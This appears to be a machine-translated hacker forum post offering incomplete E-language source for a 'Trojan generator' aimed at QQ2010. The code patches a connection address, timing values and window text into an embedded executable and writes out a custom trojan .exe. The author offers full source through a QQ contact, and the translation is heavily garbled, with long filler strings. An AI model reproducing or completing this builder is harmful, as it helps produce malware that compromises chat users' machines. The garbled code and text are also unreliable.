El lenguaje sencillo intercepta el código fuente
El código fuente es el siguiente (versión incompleta, compatible con QQ2010, se puede copiar directamente a Easy Language para mejorarlo usted mismo):
========== ====== ============================================== ====== ========
Versión 2
Biblioteca de soporte edroptarget
. Ensamble el conjunto de ventana 2
. Generación de variables ensambladas, conjunto de bytes
. Título de ventana de variable de ensamblaje 1, tipo de texto.
. Las variables de ensamblaje son tipos de enteros redundantes.
. Texto reemplazado por variable ensambladora, conjunto de bytes
. La variable ensamblada genera 1 conjunto de bytes.
. Contenido de la variable de ensamblaje 1, tipo de texto
. Las variables de ensamblaje son redundantes 1, tipos enteros.
. El texto 1 se reemplaza por la variable ensambladora, conjunto de bytes
La variable ensambladora genera un conjunto de 3 bytes.
. Dirección de conexión de variable de ensamblaje 1, tipo de texto.
. Las variables de ensamblaje son redundantes 3, tipos enteros.
. El texto 3 se reemplaza por la variable ensambladora, conjunto de bytes
. Las variables de ensamblaje generan una colección de 4 bytes.
. Tiempo de permanencia de la variable de ensamblaje 1, tipo de texto.
Las variables de ensamblaje son redundantes. 4. Tipo entero.
. El texto 4 se reemplaza por la variable ensambladora, conjunto de bytes
. Las variables de ensamblaje generan un conjunto de 5 bytes.
. Intervalo de variable de ensamblaje 1, tipo texto.
Las variables de ensamblaje son redundantes. 5. Tipo entero.
Texto 5, sustituido por conjunto de bytes. Variables de montaje.
. Variable de ensamblaje m_pDIB, conjunto de bytes, datos de mapa de bits.
.
Subrutina_No Gráfico_Creado
Arrastra y suelta el objeto 1. Registre el control de arrastrar y soltar (ruta del icono. Obtener identificador de ventana())
. Subroutine_Trojan Generation
Título de la ventana 1 = "Tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick redundante = obtener la longitud del conjunto de bytes (al conjunto de bytes (título de la ventana 1)) - obtener la longitud del conjunto de bytes (al conjunto de bytes (título de la ventana. contenido))
reemplazar texto = con conjunto de secciones de palabras (título de la ventana. contenido) + tomar conjunto de bytes en blanco (redundante)
generar = conjunto de bytes reemplazar (#exe1, buscar conjunto de bytes (#exe1, conjunto de bytes ( título de la ventana 1),), tome la longitud del texto (título de la ventana 1), reemplace el texto).
Contenido 1 = "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh hhhhhhhhhhhhhhhhhhhhhhhh.
Excede 1 = Obtener la longitud del conjunto de bytes (al conjunto de bytes (contenido 1)) - Obtener la longitud del conjunto de bytes (al conjunto de bytes (contenido. contenido))
Texto 1 = reemplazar con conjunto de bytes (content.content) + tomar conjunto de bytes en blanco (exceso de 1).
Generar 1 = reemplazar el conjunto de bytes (generar, buscar el conjunto de bytes (generar, al conjunto de bytes (contenido1),), tomar la longitud del texto (contenido 1), reemplazar el texto 1).
Cuadro de diálogo general 1. Tipo = 1
Cuadro de diálogo general 1. Filtro = "Programa ejecutable de Windows (*.exe)"
. si es verdadero(Diálogo general 1. Abrir())
. If (escribir archivo (diálogo normal 1. Nombre de archivo, generar 1))
Cuadro de información ("¡Felicitaciones por su exitosa generación de troyanos!" + #salto de línea + "Como persona miserable, usted tiene éxito" , #infoicon, )
En caso contrario.
Cuadro de información ("¡Error de generación!", icono #Información,)
======================= == ================================================== == =
Si no, puede comunicarse con QQ1449971326 para obtener el código fuente y estudiarlo usted mismo.
============================================ = ==============================
Autor: Ren Feng Hacker QQ: 1449971326